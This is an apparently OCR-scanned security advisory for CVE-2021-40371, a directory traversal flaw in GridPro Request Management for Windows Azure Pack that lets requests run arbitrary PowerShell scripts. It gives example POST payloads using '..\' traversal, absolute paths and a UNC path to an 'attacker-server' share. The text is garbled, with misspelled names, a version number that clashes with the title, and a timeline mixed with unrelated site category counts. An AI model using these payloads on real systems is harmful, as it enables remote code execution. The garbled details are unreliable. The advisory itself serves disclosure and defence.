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### GridPro Request Management For Windows Azure Pack 2.0.7905 **Directory Traversal**

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GridPro Request Management for Windows Azure Pack versions 2.0.7905 and below suffer from a traversal vulnerability that can allow for arbitrary execution of Powershell scripts.

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PRODUCT : GridFro Request Management fox
VENINOR : GridFro Software
SEVERITY : Critical
AFFECTED VERSION : <-2.0.7995
IDENTIFIERS : CVE-2021-40371
PANCH VERSION : 2.0.7912
FOUND BY : Giulian Guran, Certitude Lab : GridFro Request Management for Windows Azure Pack Introduction "Windows Azure Pack delivers cloud capabilities to \[...\] on-premise datacenter\[s\]. \[GridFro Request Management for Azure Pack\] add\[s\] abusiness processes, custom services, and customer support by integrati Microsoft System Center Service Manager(TM) with Windows Azure Pack in unified cloud platform. Source: https://www.gridprosoftware.com/products/requestmanagement/ Vulnerability Overview GridFro Request Management for Windows Azure Fack provides the ability to execute PowerShell scripts. Through specific JSON parameters in HTTP requests the plught takes relative path locations as input to execute the desired PowerShell scripts on the server. Through multiple techniques however, it is possible to reach PowerShell scripts in other directories that may not be intended to be executed by the application and can therefore lead to remote code execution. Through directory traversal attacks (e.g. usage of one or more `..\') it is possible to reach parent directories outside the original web directory and execute arbitrary local scripts the web server account has access to. Through fully qualified path names (e.g. 'C:\Temp\script.pai') it is possible to execute arbitrary local scripts the web server account has access to, when the full path to the script is known.

By using DND paths (e.g. '\texture target account the possible to execute arbitrary FowerShell scripts from attacker-controlled remote metwork shares. Typical HTTP requests that execute PowerShell scripts on the server may look as follows. It is important to note that adding a second backslash is necessary to properly escape the backslash character: {"scriptName": "Directory1\\Directory2\\OriginalScript.ps1",[...] By default, this relative path lies under the configured web server directory. The possible attack types to gain access to PowerShell scripts in other directories or shares are described in the following sections. ### 1. Directory Traversal Using a directory traversal, it is possible to e.g. execute a local script `C:\Temp\script.psl`: POST /ServiceManagerTenant/GetVisibilityMap HTTP/2 Host: [vulnerableHost] [...] Connection: close {"scriptName":"..\\..\\..\\..\\Temp\\script.ps1",[...] An attacker can exploit this by writing or uploading arbitrary FowerShell scripts to the server and guessing their storage location to gain remote code execution or by abusing existing FowerShell scripts on the server. ### 2. Direct Access Using The Fully Qualified Path Name Using the fully qualified path name, it is again possible to e.g. execute the local script `C:\Temp\script.psl`: POST /ServiceManagerTenant/GetVisibilityMap HTTP/2 Host: [vulnerableHost] [...] Connection: close {"scriptName":"C:\\Temp\\script.ps1",[...] An attacker can exploit this by writing or uploading arbitrary PowerShell scripts to the server and knowing their exact storage location to gain remote code execution or by abusing existing PowerShell scripts on the server. ### 3. Execution Of Attacker-Controlled Scripts From Network Shares Using UNC paths, it is possible to e.g. execute arbitrary scripts from attacker-controlled network shares: POST /ServiceManagerTenant/GetVisibilityMap HTTP/2 Host: [vulnerableHost] {"scriptName":"\\\attacker-server\\share\$\\script.ps1",[...] An attacker can exploit this by preparing arbitrary FowerShell scripts on an attacker-controlled network share and get them executed on the target server to gain remote code execution. Resolution GridPro fixed this vulnerability in GridPro Request Management for Windows Azure Pack version 2.0.7912 and later. Timeline



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	Date	Text	Spoof (2,166)	SUSE (1,444)
	2021-08-04	Orables with the description and area of a second to the	SQL Injection (16,102)	Ubuntu (8,199)
		Sending vulnerability description and proof of concept to the vendor	TCP (2,379)	UNIX (9,159)
		GridPro team confirms issue being reproduced, fixed and validated on their side	Trojan (686)	UnixWare (185)
	2021 00 10 00/4700 0000	GridPro team confirms a customer having installed the fix	UDP (876)	Windows (6,511)
		Coordination with vendor	Virus (662)	Other
2	2021-08-19	Coordination with Vendor	Vulnerability (31,136)	
	2021-08-20	Coordination with vendor	Web (9,365)	
	2021-08-25	Coordination with vendor		
	2021-08-31	Coordination with vendor	Whitepaper (3,729)	
			x86 (946)	
	2021-09-06	Vendor releases patch	XSS (17,494)	
	2021-10-19	Coordination with vendor	Other	
	2021-10-20	Public release of the advisory		
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